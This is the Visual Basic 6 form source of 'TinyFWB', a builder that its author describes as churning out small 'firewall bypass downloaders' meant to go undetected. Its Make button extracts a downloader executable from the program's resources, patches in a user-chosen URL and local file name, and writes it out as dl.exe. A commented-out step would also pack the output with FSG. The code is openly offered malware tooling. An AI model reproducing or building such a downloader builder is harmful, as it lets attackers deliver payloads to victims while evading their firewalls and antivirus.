VERSION 5.00
Begin VB.Form Form1 
   BorderStyle     =   1  'Fixed Single
   Caption         =   "TinyFWB"
   ClientHeight    =   2895
   ClientLeft      =   5235
   ClientTop       =   4140
   ClientWidth     =   4335
   Icon            =   "Form1.frx":0000
   LinkTopic       =   "Form1"
   MaxButton       =   0   'False
   ScaleHeight     =   2895
   ScaleWidth      =   4335
   Begin VB.CommandButton Command2 
      Caption         =   "About"
      Height          =   375
      Left            =   3000
      TabIndex        =   6
      Top             =   2400
      Width           =   1215
   End
   Begin VB.CommandButton Command1 
      Caption         =   "Make"
      Height          =   375
      Left            =   120
      TabIndex        =   5
      Top             =   2400
      Width           =   1215
   End
   Begin VB.TextBox Text2 
      Height          =   285
      Left            =   120
      MaxLength       =   20
      TabIndex        =   4
      Text            =   "C:\file.exe"
      Top             =   1920
      Width           =   4095
   End
   Begin VB.TextBox Text1 
      Height          =   285
      Left            =   120
      MaxLength       =   50
      TabIndex        =   2
      Text            =   "Dont forget http!"
      Top             =   1200
      Width           =   4095
   End
   Begin VB.Label Label4 
      Caption         =   "<- Get src there!"
      Height          =   495
      Left            =   2640
      TabIndex        =   7
      Top             =   600
      Width           =   1215
   End
   Begin VB.Label Label3 
      Caption         =   "Local File Name"
      Height          =   255
      Left            =   120
      TabIndex        =   3
      Top             =   1680
      Width           =   1215
   End
   Begin VB.Label Label2 
      Caption         =   "URL of File"
      Height          =   255
      Left            =   120
      TabIndex        =   1
      Top             =   960
      Width           =   1215
   End
   Begin VB.Label Label1 
      Caption         =   "TinyFWB by r3L4x - r3L4x.com"
      BeginProperty Font 
         Name            =   "Rockwell Extra Bold"
         Size            =   18
         Charset         =   0
         Weight          =   800
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      ForeColor       =   &H00FF0000&
      Height          =   1095
      Left            =   120
      TabIndex        =   0
      Top             =   0
      Width           =   4335
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub Command1_Click()
Dim b() As Byte
'load resources
b = LoadResData(101, "CUSTOM")
Open App.Path & "\dl.exe" For Binary As #1
Put #1, , b
Close
'just store it in a string so its easier to use
Open App.Path & "\dl.exe" For Binary As #1
Dim s As String
s = Space(LOF(1))
Get #1, , s
Close

'make the url the proper len to replace the fillers in exe
Dim s2 As String
s2 = Text1
Do Until Len(s2) >= 50
s2 = s2 & " "
Loop

'same cept with file name ^^
Dim s3 As String
s3 = Text2
Do Until Len(s3) >= 20
s3 = s3 & " "
Loop

'replace it all
s = Replace(s, "**************************************************", s2)
s = Replace(s, "&&&&&&&&&&&&&&&&&&&&", s3)

'dump it to disk
Open App.Path & "\dl.exe" For Binary As #1
Put #1, , s
Close

'fsg packing fux it up for some reason
'If Check1 = vbChecked Then
'b = LoadResData(102, "CUSTOM")
'Open App.Path & "\fsg.exe" For Binary As #1
'Put #1, , b
'Close
'Shell App.Path & "\fsg.exe " & App.Path & "\dl.exe", vbHide
'End If

MsgBox "All done ^_^", vbOKOnly, "Done!"


End Sub

Private Sub Command2_Click()
MsgBox "TinyFWB 1.0 by r3L4x" & vbCrLf & "This churns out 3kb firewall bypass downloaders (it wont load dll's, so totally und) It uses the static EliRT library so it works xp/2k/nt/9x/me and the server is in C++ and its all open source." & vbCrLf & "Have fun and visit my site which has the source for this as well as tons of other things! r3L4x.com!", vbOKOnly, "About"
MsgBox "shouts to alchemist, archphace, psyphen, akcom (for good code :) and tons of other d00ds", vbOKOnly, "About"
End Sub

